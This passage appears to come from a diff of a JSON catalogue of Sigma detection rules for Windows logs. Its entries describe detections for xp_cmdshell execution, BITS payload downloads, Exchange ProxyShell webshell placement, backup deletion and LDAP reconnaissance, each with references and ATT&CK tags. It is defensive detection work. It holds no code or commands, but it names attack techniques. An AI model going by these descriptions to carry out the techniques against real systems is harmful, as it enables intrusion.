"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_procoption_set.yml", - "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "b3d57a5c-c92e-4b48-9a79-5f124b7cf964", - "value": "MSSQL SPProcoption Set" - }, - { - "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_mssql_xp_cmdshell_audit_log.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_audit_log.yml" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "7f103213-a04e-4d59-8261-213dddf22314", - "value": "MSSQL XPCmdshell Suspicious Execution" - }, - { - "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/12", - "falsepositive": [ - "Legitimate enable/disable of the setting", - "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable" - ], - "filename": "win_mssql_xp_cmdshell_change.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_change.yml", - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "d08dd86f-681e-4a00-a92c-1db218754417", - "value": "MSSQL XPCmdshell Option Change" - }, - { - "description": "Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/09/01", - "falsepositive": [ - "Legitimate Atera agent installation" - ], - "filename": "win_software_atera_rmm_agent_install.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml", - "https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent" - ], - "tags": [ - "attack.t1219" - ] - }, - "uuid": "87261fb2-69d0-42fe-b9de-88c6b5f65a43", - "value": "Atera Agent Installation" - }, - { - "description": "Detects backup catalog deletions", - "meta": { - "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection)", - "creation_date": "2017/05/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_susp_backup_delete.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_backup_delete.yml", - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "9703792d-fd9a-456d-a672-ff92efe4806a", - "value": "Backup Catalog Deleted" - }, - { - "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/05/09", - "falsepositive": [ - "MsMpEng.exe can crash when C:\\ is full" - ], - "filename": "win_susp_msmpeng_crash.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://technet.microsoft.com/en-us/library/security/4022344", - "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_msmpeng_crash.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1211", - "attack.t1562.001" - ] - }, - "uuid": "6c82cf5c-090d-4d57-9188-533577631108", - "value": "Microsoft Malware Protection Engine Crash" - }, - { - "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", - "meta": { - "author": "Florian Roth, wagga", - "creation_date": "2020/02/29", - "falsepositive": [ - "Unknown" - ], - "filename": "win_vul_cve_2020_0688.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", - "https://cyberpolygon.com/materials/okhota-na-ataki-ms-exchange-chast-2-cve-2020-0688-cve-2020-16875-cve-2021-24085/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2020_0688.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "d6266bf5-935e-4661-b477-78772735a7cb", - "value": "CVE-2020-0688 Exploitation via Eventlog" - }, - { - "description": "Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/22", - "falsepositive": [ - "Other MSI packages for which your admins have used that name" - ], - "filename": "win_vul_cve_2021_41379.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/klinix5/InstallerFileTakeOver", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2021_41379.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "7dbb86de-a0cc-494c-8aa8-b2996c9ef3c8", - "value": "LPE InstallerFileTakeOver PoC CVE-2021-41379" - }, - { - "description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.", - "meta": { - "author": "Pushkarev Dmitry", - "creation_date": "2020/06/28", - "falsepositive": [ - "Need tuning applocker or add exceptions in SIEM" - ], - "filename": "win_applocker_file_was_not_allowed_to_run.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml", - "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/using-event-viewer-with-applocker" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.t1059.001", - "attack.t1059.003", - "attack.t1059.005", - "attack.t1059.006", - "attack.t1059.007" - ] - }, - "uuid": "401e5d00-b944-11ea-8f9a-00163ecd60ae", - "value": "File Was Not Allowed To Run" - }, - { - "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "win_bits_client_susp_domain.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_domain.yml", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://twitter.com/malmoeb/status/1535142803075960832" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ] - }, - "uuid": "d635249d-86b5-4dad-a8c7-d7272b788586", - "value": "Suspicious Download with BITS from Suspicious TLD" - }, - { - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/03/01", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "filename": "win_bits_client_susp_local_file.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_file.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ] - }, - "uuid": "b85e5894-9b19-4d86-8c87-a2f3b81f0521", - "value": "Suspicious Download File Extension with BITS" - }, - { - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/28", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "filename": "win_bits_client_susp_local_folder.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_folder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ] - }, - "uuid": "f8a56cb7-a363-44ed-a82f-5926bb44cd05", - "value": "Download with BITS to Suspicious Folder" - }, - { - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/03/01", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "filename": "win_bits_client_susp_powershell_job.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_powershell_job.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ] - }, - "uuid": "fe3a2d49-f255-4d10-935c-bda7391108eb", - "value": "Suspicious Task Added by Powershell" - }, - { - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/03/01", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "filename": "win_bits_client_susp_use_bitsadmin.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_use_bitsadmin.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ] - }, - "uuid": "1ff315dc-2a3a-4b71-8dde-873818d25d39", - "value": "Suspicious Task Added by Bitsadmin" - }, - { - "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/10", - "falsepositive": [ - "Other legitimate domains used by software updaters" - ], - "filename": "win_bits_client_uncommon_domain.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_uncommon_domain.yml", - "https://twitter.com/malmoeb/status/1535142803075960832" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ] - }, - "uuid": "6d44fb93-e7d2-475c-9d3d-54c9c1e33427", - "value": "Suspicious Download with BITS from Suspicious TLD" - }, - { - "description": "Detects attempted DLL load events that didn't meet anti-malware or Windows signing level requirements. It often means the file's signature is revoked or expired", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2022/01/20", - "falsepositive": [ - "Unknown" - ], - "filename": "win_codeintegrity_attempted_dll_load.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml", - "https://twitter.com/SBousseaden/status/1483810148602814466", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "f8931561-97f5-4c46-907f-0a4a592e47a7", - "value": "Code Integrity Attempted DLL Load" - }, - { - "description": "Detects blocked load attempts of revoked drivers", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/11/10", - "falsepositive": [ - "Unknown" - ], - "filename": "win_codeintegrity_revoked_driver.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/wdormann/status/1590434950335320065", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ] - }, - "uuid": "9b72b82d-f1c5-4632-b589-187159bc6ec1", - "value": "Block Load Of Revoked Driver" - }, - { - "description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated code integrity policy", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/11/10", - "falsepositive": [ - "Unknown" - ], - "filename": "win_codeintergiry_blocked_driver_load.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/wdormann/status/1590434950335320065", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintergiry_blocked_driver_load.yml", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ] - }, - "uuid": "e4be5675-4a53-426a-8c81-a8bb2387e947", - "value": "Code Integrity Blocked Driver Load" - }, - { - "description": "Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/14", - "falsepositive": [ - "Legitimate package hosted on a known and authorized remote location" - ], - "filename": "win_diagnosis_scripted_load_remote_diagcab.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml", - "https://twitter.com/nas_bench/status/1539679555908141061", - "https://twitter.com/j00sean/status/1537750439701225472" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "50cb47b8-2c33-4b23-a2e9-4600657d9746", - "value": "Loading Diagcab Package From Remote Path" - }, - { - "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", - "meta": { - "author": "Tim Burrell", - "creation_date": "2020/02/07", - "falsepositive": [ - "Unknown" - ], - "filename": "win_apt_gallium.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_apt_gallium.yml", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/" - ], - "tags": [ - "attack.credential_access", - "attack.command_and_control", - "attack.t1071" - ] - }, - "uuid": "3db10f25-2527-4b79-8d4b-471eb900ee29", - "value": "GALLIUM Artefacts" - }, - { - "description": "This rule detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/05/08", - "falsepositive": [ - "Unknown" - ], - "filename": "win_susp_dns_config.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", - "https://twitter.com/gentilkiwi/status/861641945944391680", - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_susp_dns_config.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "cbe51394-cd93-4473-b555-edf0144952d9", - "value": "DNS Server Error Failed Loading the ServerLevelPluginDLL" - }, - { - "description": "Detects plugged USB devices", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/11/09", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "win_usb_device_plugged.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", - "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1200" - ] - }, - "uuid": "1a4bd6e3-4c6e-405d-a9a3-53a116e341d4", - "value": "USB Device Plugged" - }, - { - "description": "A rule has been modified in the Windows Firewall exception list", - "meta": { - "author": "frack113", - "creation_date": "2022/02/19", - "falsepositive": "No established falsepositives", - "filename": "win_firewall_as_add_rule.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule.yml" - ], - "tags": "No established tags" - }, - "uuid": "cde0a575-7d3d-4a49-9817-b8004a7bf105", - "value": "Added Rule in Windows Firewall with Advanced Security" - }, - { - "description": "A rule has been modified in the Windows Firewall exception list", - "meta": { - "author": "frack113", - "creation_date": "2022/02/19", - "falsepositive": "No established falsepositives", - "filename": "win_firewall_as_change_rule.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)" - ], - "tags": "No established tags" - }, - "uuid": "5570c4d9-8fdd-4622-965b-403a5a101aa0", - "value": "Modified Rule in Windows Firewall with Advanced Security" - }, - { - "description": "A rule has been deleted in the Windows Firewall exception list.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/19", - "falsepositive": "No established falsepositives", - "filename": "win_firewall_as_delete_rule.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)" - ], - "tags": "No established tags" - }, - "uuid": "c187c075-bb3e-4c62-b4fa-beae0ffc211f", - "value": "Delete Rule in Windows Firewall with Advanced Security" - }, - { - "description": "The Windows Firewall service failed to load Group Policy.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/19", - "falsepositive": "No established falsepositives", - "filename": "win_firewall_as_failed.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed.yml" - ], - "tags": "No established tags" - }, - "uuid": "7ec15688-fd24-4177-ba43-1a950537ee39", - "value": "Failed to Load Policy in Windows Firewall with Advanced Security" - }, - { - "description": "Windows Firewall has been reset to its default configuration.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/19", - "falsepositive": "No established falsepositives", - "filename": "win_firewall_as_reset.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)" - ], - "tags": "No established tags" - }, - "uuid": "04b60639-39c0-412a-9fbe-e82499c881a3", - "value": "Reset to Default Configuration Windows Firewall with Advanced Security" - }, - { - "description": "Setting have been change in Windows Firewall", - "meta": { - "author": "frack113", - "creation_date": "2022/02/19", - "falsepositive": "No established falsepositives", - "filename": "win_firewall_as_setting_change.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)" - ], - "tags": "No established tags" - }, - "uuid": "00bb5bd5-1379-4fcf-a965-a5b6f7478064", - "value": "Setting Change in Windows Firewall with Advanced Security" - }, - { - "description": "Detects possible Active Directory enumeration via LDAP", - "meta": { - "author": "Adeem Mawani", - "creation_date": "2021/06/22", - "falsepositive": "No established falsepositives", - "filename": "win_ldap_recon.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml", - "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", - "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", - "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1" - ], - "tags": [ - "attack.discovery", - "attack.t1069.002", - "attack.t1087.002", - "attack.t1482" - ] - }, - "uuid": "31d68132-4038-47c7-8f8e-635a39a7c174", - "value": "LDAP Reconnaissance / Active Directory Enumeration" - }, - { - "description": "Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321", - "meta": { - "author": "Florian Roth, @testanull", - "creation_date": "2021/11/18", - "falsepositive": [ - "Unknown, please report false positives via https://github.com/SigmaHQ/sigma/issues" - ], - "filename": "win_exchange_cve_2021_42321.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_cve_2021_42321.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210" - ] - }, - "uuid": "c92f1896-d1d2-43c3-92d5-7a5b35c217bb", - "value": "Possible Exploitation of Exchange RCE CVE-2021-42321" - }, - { - "description": "Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_exchange_proxylogon_oabvirtualdir.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml" - ], - "tags": [ - "attack.t1587.001", - "attack.resource_development" - ] - }, - "uuid": "550d3350-bb8a-4ff3-9533-2ba533f4a1c0", - "value": "ProxyLogon MSExchange OabVirtualDirectory" - }, - { - "description": "Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell", - "meta": { - "author": "Max Altgelt", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_exchange_proxyshell_certificate_generation.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml", - "https://twitter.com/GossiTheDog/status/1429175908905127938" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "b7bc7038-638b-4ffd-880c-292c692209ef", - "value": "Certificate Request Export to Exchange Webserver" - }, - { - "description": "Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it", - "meta": { - "author": "Florian Roth, Rich Warren, Christian Burkard", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_exchange_proxyshell_mailbox_export.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_mailbox_export.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "516376b4-05cd-4122-bae0-ad7641c38d48", - "value": "Mailbox Export to Exchange Webserver" - }, - { - "description": "Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/27", - "falsepositive": [ - "Unknown" - ], - "filename": "win_exchange_proxyshell_remove_mailbox_export.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml", - "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ] - }, - "uuid": "09570ae5-889e-43ea-aac0-0e1221fb3d95", - "value": "Remove Exported Mailbox from Exchange Webserver" - }, - { - "description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", - "meta": { - "author": "Jose Rodriguez @Cyb3rPandaH", - "creation_date": "2021/03/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_exchange_set_oabvirtualdirectory_externalurl.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml", - "https://twitter.com/OTR_Community/status/1371053369071132675" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "9db37458-4df2-46a5-95ab-307e7f29e675", - "value": "Exchange Set OabVirtualDirectory ExternalUrl Property" - }, - { - "description": "Detects the Installation of a Exchange Transport Agent", - "meta": { - "author": "Tobias Michalski", - "creation_date": "2021/06/08", - "falsepositive": [ - "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." - ], - "filename": "win_exchange_transportagent.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.002" - ] - }, - "uuid": "4fe151c2-ecf9-4fae-95ae-b88ec9c2fca6", - "value": "MSExchange Transport Agent Installation" - }, - { - "description": "Detects a failed installation of a Exchange Transport Agent", - "meta": { - "author": "Tobias Michalski", - "creation_date": "2021/06/08", - "falsepositive": [ - "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." - ], - "filename": "win_exchange_transportagent_failed.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml", - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20" - ], - "tags": [ - "attack.persistence", - "attack.t1505.002" - ] - }, - "uuid": "c7d16cae-aaf3-42e5-9c1c-fb8553faa6fa", - "value": "Failed MSExchange Transport Agent Installation" - }, - { - "description": "Detects logons using NTLM, which could be caused by a legacy source or attackers", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/06/08", - "falsepositive": [ - "Legacy hosts" - ], - "filename": "win_susp_ntlm_auth.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/JohnLaTwC/status/1004895028995477505", - 